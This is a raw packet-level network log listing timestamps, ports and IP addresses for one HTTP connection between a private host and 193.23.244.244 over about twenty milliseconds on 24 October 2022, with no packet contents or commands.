Oct 24, 2022 11:00:11.077256918 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077275038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077275991 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077294111 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077312946 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077313900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077333927 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077353001 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077353954 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077373028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077389956 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077409029 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077426910 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077442884 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077445030 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077442884 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077466011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077470064 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077485085 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077502966 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077521086 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077538013 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077555895 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077574015 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077591896 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077610970 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077627897 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077634096 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077635050 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077635050 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077635050 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077647924 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077660084 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077667952 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077686071 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077703953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077721119 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077739954 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077759027 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077776909 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077794075 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077796936 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077796936 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077796936 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077796936 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077814102 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077833891 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077852011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077868938 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077887058 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077903986 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077922106 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077939034 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077958107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077961922 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077961922 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077961922 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077961922 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077977896 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.077980995 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.077999115 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078016996 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078037977 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078057051 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078075886 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078093052 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078110933 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078128099 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078147888 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078166008 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078185081 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078203917 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078222036 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078242064 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078260899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078279972 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078296900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078315020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078334093 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078352928 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078371048 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078388929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078407049 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078424931 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078443050 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078459024 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078476906 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078495026 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078511953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078514099 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078514099 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078514099 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078514099 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078514099 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078514099 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078514099 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078514099 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078531027 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078546047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078546047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078546047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078546047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078546047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078546047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078546047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078551054 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078569889 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078583002 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078602076 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078622103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078635931 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078640938 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078656912 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078661919 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078680992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078699112 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078716993 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078717947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078737974 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078746080 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078757048 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078775883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078780890 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078794956 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078813076 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078814030 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078834057 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078850985 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078870058 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078898907 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078898907 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078910112 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078928947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078948021 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078965902 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078969002 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.078984976 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.078989029 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079005957 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079025030 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079030991 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079045057 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079065084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079077005 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079083920 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079102039 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079104900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079124928 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079143047 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079160929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079163074 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079179049 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079179049 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079197884 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079216003 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079216957 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079236031 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079255104 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079265118 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079292059 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079293966 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079312086 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079329967 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079346895 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079349041 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079365969 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079385996 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079389095 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079405069 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079422951 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079422951 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079442024 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079457045 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079459906 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079478979 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079495907 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079495907 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079515934 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079531908 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079535961 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079551935 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079569101 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079570055 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079587936 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079605103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079607010 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079624891 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079643011 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079644918 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079665899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079684973 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079687119 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079705000 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079724073 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079722881 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079744101 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079762936 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079763889 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079781055 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079798937 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079801083 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079818010 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079837084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079838991 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079854965 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079874039 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079874039 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079894066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079912901 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079912901 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079931021 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079948902 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079953909 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.079969883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.079988003 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080005884 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080007076 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080029011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080043077 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080049038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080069065 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080079079 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080091000 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080111027 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080118895 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080132008 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080149889 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080157042 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080168962 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080187082 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080204964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080212116 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080225945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080233097 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080245018 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080262899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080271959 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080282927 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080300093 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080318928 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080326080 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080338955 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080357075 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080364943 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080377102 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080387115 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080398083 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080415964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080423117 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080435038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080452919 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080462933 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080471992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080491066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080508947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080516100 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080528975 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080542088 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080548048 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080565929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.080578089 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.080635071 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.082961082 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.082983971 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083003998 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083045006 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.083136082 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083153963 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083173037 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083189964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083208084 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.083214998 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083256006 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.083312035 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.083411932 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083431005 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083448887 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083467007 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083483934 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.083491087 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083509922 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083524942 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.083534002 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083554983 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.083576918 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.083606958 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.093746901 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.093799114 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.093831062 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.093864918 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094170094 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094188929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094213009 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094232082 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094249964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094264984 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094268084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094289064 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094305992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094325066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094330072 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094350100 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094356060 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094374895 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094383001 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094394922 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094413042 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094430923 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094435930 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094450951 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094470978 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094477892 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094490051 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094505072 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094511986 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094532013 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094532967 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094552040 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094568968 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094582081 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094587088 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094611883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094630003 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094640970 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094651937 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094670057 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094671011 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094687939 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094695091 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094707966 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094729900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.094733000 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.094765902 CEST	49711	80	192.168.2.3	193.23.244.244
